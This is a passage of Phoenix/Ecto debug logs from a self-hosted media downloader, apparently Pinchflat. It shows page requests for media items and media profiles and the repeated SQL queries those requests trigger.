s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:54.383 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=753.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [38] 21:15:54.384 [debug] QUERY OK source="settings" db=0.4ms idle=606.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:54.384 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:54.385 [debug] QUERY OK source="settings" db=0.6ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:54.386 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:54.388 [info] Sent 200 in 7ms 21:15:56.613 [info] GET /sources/1/media/33 21:15:56.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "33", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:15:56.614 [debug] QUERY OK source="media_items" db=0.4ms idle=984.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [33] 21:15:56.615 [debug] QUERY OK source="tasks" db=0.3ms idle=985.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [33] 21:15:56.615 [debug] QUERY OK source="sources" db=0.4ms idle=985.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:15:56.616 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=985.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [36] 21:15:56.617 [debug] QUERY OK source="settings" db=0.8ms idle=835.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:56.617 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:56.618 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:56.619 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:15:56.620 [info] Sent 200 in 7ms 21:15:58.624 [info] GET /media_profiles/3 21:15:58.625 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 21:15:58.625 [debug] QUERY OK source="media_profiles" db=0.4ms idle=995.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:15:58.626 [debug] QUERY OK source="sources" db=0.3ms idle=996.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [3] 21:15:58.627 [debug] QUERY OK source="settings" db=0.3ms idle=997.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:58.627 [debug] QUERY OK source="settings" db=0.2ms idle=997.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:58.628 [debug] QUERY OK source="settings" db=0.2ms idle=842.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:15:58.629 [info] Sent 200 in 4ms 21:16:00.364 [info] GET /media_profiles/4 21:16:00.365 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "4"} Pipelines: [:browser] 21:16:00.369 [debug] QUERY OK source="media_profiles" db=4.3ms idle=736.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [4] 21:16:00.370 [debug] QUERY OK source="sources" db=0.5ms idle=740.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [4] 21:16:00.373 [debug] QUERY OK source="settings" db=2.6ms idle=741.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:00.374 [debug] QUERY OK source="settings" db=0.4ms idle=744.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:00.375 [debug] QUERY OK source="settings" db=0.7ms idle=585.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:00.379 [info] Sent 200 in 14ms 21:16:00.517 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:01.858 [info] GET /media_profiles/1 21:16:01.858 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 21:16:01.859 [debug] QUERY OK source="media_profiles" db=0.3ms idle=229.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:01.860 [debug] QUERY OK source="sources" db=0.8ms idle=230.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 21:16:01.862 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=231.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:01.865 [debug] QUERY OK source="settings" db=2.2ms idle=233.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:01.867 [debug] QUERY OK source="settings" db=2.2ms idle=70.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:01.874 [info] Sent 200 in 16ms 21:16:03.269 [info] GET /sources/1/media/6 21:16:03.270 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:03.271 [debug] QUERY OK source="media_items" db=0.5ms idle=1409.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 21:16:03.272 [debug] QUERY OK source="tasks" db=0.4ms idle=1409.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6] 21:16:03.272 [debug] QUERY OK source="sources" db=0.8ms idle=1406.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:03.273 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1405.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [9, 204] 21:16:03.274 [debug] QUERY OK source="settings" db=0.6ms idle=476.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.275 [debug] QUERY OK source="settings" db=0.5ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.277 [debug] QUERY OK source="settings" db=1.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.278 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:03.280 [info] Sent 200 in 11ms 21:16:04.590 [info] GET /media_profiles/2 21:16:04.590 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 21:16:04.592 [debug] QUERY OK source="media_profiles" db=1.7ms idle=1316.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 21:16:04.593 [debug] QUERY OK source="sources" db=0.6ms idle=1317.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 21:16:04.595 [debug] QUERY OK source="settings" db=0.9ms idle=1316.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:04.595 [debug] QUERY OK source="settings" db=0.4ms idle=1316.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:04.596 [debug] QUERY OK source="settings" db=0.5ms idle=793.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:04.597 [info] Sent 200 in 7ms 21:16:05.688 [info] GET /sources/1/media/3 21:16:05.688 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:05.689 [debug] QUERY OK source="media_items" db=0.4ms idle=884.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 21:16:05.690 [debug] QUERY OK source="tasks" db=0.5ms idle=60.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3] 21:16:05.691 [debug] QUERY OK source="sources" db=0.8ms idle=60.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:05.692 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=62.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [6, 201] 21:16:05.692 [debug] QUERY OK source="settings" db=0.4ms idle=62.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.693 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.694 [debug] QUERY OK source="settings" db=0.4ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:05.694 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:05.697 [info] Sent 200 in 8ms 21:16:06.788 [info] GET /sources/1/media/7 21:16:06.788 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 21:16:06.789 [debug] QUERY OK source="media_items" db=0.4ms idle=1096.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 21:16:06.790 [debug] QUERY OK source="tasks" db=0.3ms idle=1096.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7] 21:16:06.790 [debug] QUERY OK source="sources" db=0.5ms idle=1096.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:06.791 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1096.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [10, 205] 21:16:06.792 [debug] QUERY OK source="settings" db=0.2ms idle=984.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:06.792 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:06.792 [debug] QUERY OK source="settings" 